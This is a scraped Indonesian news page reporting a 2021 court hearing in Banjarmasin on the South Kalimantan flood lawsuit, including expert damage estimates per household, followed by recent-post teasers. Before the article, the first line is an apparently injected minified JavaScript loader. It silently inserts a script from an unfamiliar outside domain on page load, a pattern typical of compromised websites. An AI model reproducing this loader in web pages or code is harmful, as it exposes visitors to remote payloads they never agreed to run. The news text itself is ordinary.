(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sidang Gugatan Banjir Kalsel, Segini Nilai Kerugian Menurut Ahli terkait Kerusakan Rumah Warga


KANALKALIMANTAN.COM, BANJARMASIN – Sidang kasus gugatan korban banjir Kalsel tahun 2021 kembali digelar di Pengadilan Tata Usaha Negara (PTUN) Banjarmasin, Rabu (1/9/2021).

Sidang kali ini mengagendakan pemeriksaan saksi ahli penggugat yang terdiri dari Prof Dr HM Hadin Muhjad selaku ahli dari Fakultas Hukum Universitas Lambung Mangkurat (ULM) dan Dr Eng Akbar Rahman ST, MT, selaku ahli dari Fakultas Teknik ULM.

Pada sidang tersebut, Hadin mengatakan perbuatan melawan hukum oleh pemerintah mengenai kejadian banjir adalah kewenangan Pengadilan TUN.

“Dan berkaitan dengan kewenangan saat terjadi bencana, kalau peristiwanya lintas kabupaten atau kota maka menjadi kewenangan Pemerintah Provinsi,” katanya sebagaimana rilis yang disampaikan pengacara Tim Advokasi Banjir Kalsel, M Pazri kepada Kanalkalimantan.com.

 

 

Sementara itu, saksi ahli Akbar Rahman menyampaikan taksiran kerugian yang dialami oleh warga Kalsel dihitung atas kehilangan rumah tempat tinggal, harta benda, dan surat-surat berharga. Begitu juga kerugian lainnya seperti rusaknya infrastruktur seperti jalan, jembatan, sekolah, tempat ibadah, jalur pedestrian, drainase, sistem utilitas seperti air bersih, telekomunikasi, hingga penerangan.

Baca juga: Keluh Kesah Pedagang Pasar Pondok Mangga: dari Parkir Liar hingga Berjualan di Luar Lokasi

Akbar menaksir kerugian setiap kepala keluarga ditaksir sebagai berikut:

a. Rumah hilang : Rp 100 juta
b. Rumah rusak parah : Rp 75 juta
c. Rumah rusak ringan : Rp 40 juta
d. Rumah terendam : Rp 20 juta

Penghitungan tersebut, dihitung berdasarkan estimasi biaya bangunan 3 juta/m2 mengacu pada harga satuan pokok kegiatan pokok kegiatan provinsi Kalimantan Selatan tahun 2021.

Baca juga: Dua Hari Pencarian, Penumpang Feri yang Tenggelam di Sungai Barito Ditemukan

Terkait hal tersebut, Pazri mengatakan, mestinya pada saat dan pasca bencana ada dilakukan kajian untuk dievaluasi.

“Namun nyatanya pada kejadian banjir ini belum ada kajian atas kejadian banjir tersebut,” tegasnya.

Untuk sidang lanjutan akan di laksanakan pada Selasa tanggal 7 September 2021 dengan agenda tambahan bukti surat dan elektronik terakhir untuk penggugat dan tergugat. (kanalkalimantan.com/seno)

Reporter: seno
Editor: cell


Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

7 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

8 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

10 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

11 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

11 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

12 jam ago

This website uses cookies.